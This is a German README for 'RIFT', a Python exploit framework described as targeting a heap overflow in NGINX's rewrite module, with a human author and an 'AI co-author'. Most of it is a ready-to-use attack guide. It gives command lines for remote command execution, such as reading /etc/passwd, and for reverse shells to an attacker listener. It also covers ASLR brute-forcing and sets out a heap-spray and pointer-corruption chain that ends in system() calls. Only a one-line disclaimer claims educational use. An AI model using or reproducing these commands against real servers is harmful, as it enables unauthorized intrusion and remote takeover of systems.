RIFT — Remote Injection & Fault Trigger

Autor: Michael Sanji Winaya Prawiradibrata
KI-Co-Autor: Varanus — sahabatku

Heap-Buffer-Overflow-Exploit-Framework für NGINX's ngx_http_rewrite_module.
Ein Tool für Reconnaissance + Exploit. Keine externen Abhängigkeiten.

Repository-Inhalt

Anforderungen

• Python 3.6+ (nur stdlib — kein pip, kein venv, keine Abhängigkeiten)

Schnellstart

# 1. Vollständige Reconnaissance — Version, Endpoints, Schwachstellen, Strategie erkennen
python3 rift.py --target 10.10.10.10 --recon

# 2. Recon + Exploit in einem Durchlauf
python3 rift.py --target 10.10.10.10 --auto --cmd "id"

# 3. Befehlsausführung
python3 rift.py --target 10.10.10.10 --cmd "whoami"

# 4. Reverse Shell (Listener automatisch öffnen)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444

# 5. Reverse Shell mit bash (statt python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444

# 6. Nur auf Verwundbarkeit prüfen
python3 rift.py --target 10.10.10.10 --check-only

Alle Flags

Nutzungsmodi

Exploit-Optionen

Recon-Optionen

Hervorragende Funktionen

✅ Automatische Reverse Shell

Bei Verwendung von --shell führt das Skript automatisch Folgendes aus:

1. Reverse-Shell-Payload entsprechend --shell-type generieren
2. Listener auf --lport öffnen
3. Exploit senden
4. Sobald Worker abstürzt → Shell eingeht
5. Automatischer Listener: Priorität netcat (nc -lvnp), Fallback Python-Listener

✅ Automatischer ASLR-Brute-Force

Falls die Standardadressen fehlschlagen, verschiebt das Skript automatisch die Heap-Basis um ±5 Schritte × 0x10000 und sucht nach einer passenden Adresse. Keine manuelle Einstellung erforderlich.

✅ Multi-Payload-Reverse-Shell

4 Arten von Shell-Payloads — python, bash, nc, php. Wähle die auf dem Ziel verfügbare.

✅ Vollständige Reconnaissance

--recon führt 5 Phasen aus:

1. Fingerprinting — NGINX-Version erkennen, 16 häufige Endpoints, Rewrite-Modul
2. Info-Leak — Speicheradresse in Fehlerseite, Timing-Seitenkanal
3. Endpoint-Test — Verhalten des Endpoints mit 6 Payload-Arten
4. Worker-Zahl — Schätzung der Anzahl Worker-Prozesse anhand des Latenzmusters
5. Strategie — Handlungsempfehlung basierend auf Analyseergebnissen

✅ JSON-Ausgabe

--output json für Integration mit anderen Tools oder automatisches Parsen.

Verwundbare Konfiguration

Ziel des Exploits ist NGINX mit einer Konfiguration von rewrite + set wie folgt:

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # is_args = 1
    set $original_endpoint $1;                     # Längenberechnung mit is_args = 0
}

Die Folge: Der zugewiesene Puffer ist zu klein, URI-Escaping (3× Expansion) führt zu einem Überlauf.

Betroffene Versionen

• NGINX Open Source: 0.6.27 – 1.30.0
• NGINX Plus: R32 – R36
• Behoben: 1.31.0, 1.30.1, R36 P4+, R35 P2+, R32 P6+

Funktionsweise des Exploits

1. HEAP SPRAY ─── POST /spray × 20 → Fake-`ngx_pool_cleanup_s` im Heap ablegen
2. TRIGGER ────── GET /api/AAAA...++++... → Überlauf durch URI-Escaping
3. CORRUPT ────── Überlauf überschreibt den Cleanup-Pointer des benachbarten Pools
4. EXEC ───────── Pool wird zerstört → ruft system("Befehl") auf

Wichtige Konstanten (in rift.py änderbar)

Vollständige Beispiele

Befehlsausführung + Verbose

python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose

Benutzerdefinierte Adresse (ASLR-Bypass)

python3 rift.py --target 10.10.10.10 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

Viele Versuche

python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50

Recon + JSON

python3 rift.py --target 10.10.10.10 --recon --output json

Exploit-Skript generieren

python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py

Fehlerbehebung

"Target doesn't appear to be running NGINX"

• Port prüfen: nc -zv <IP> 80
• Anderen Port versuchen: --port 8080, --port 443
• Möglicherweise hinter WAF/Proxy

"All exploitation attempts failed"

1. ASLR ist möglicherweise aktiv – --auto für automatisches ASLR-Sliding versuchen
2. NGINX-Version könnte bereits gepatcht sein (> 1.30.1)
3. NGINX-Konfiguration ist möglicherweise nicht verwundbar (kein rewrite+set)
4. --verbose versuchen, um Details pro Versuch zu sehen

Shell verbindet sich nicht

• Lokale Firewall prüfen: sudo ufw allow 4444
• --lhost prüfen – sicherstellen, dass die lokale IP korrekt ist
• --shell-type bash oder --shell-type nc versuchen

Haftungsausschluss

Erstellt nur zu Bildungszwecken und für autorisierte Sicherheitstests.
Die Verwendung gegen Systeme ohne Genehmigung ist illegal.

© 2026 Michael Sanji Winaya Prawiradibrata
KI-Co-Autor: Varanus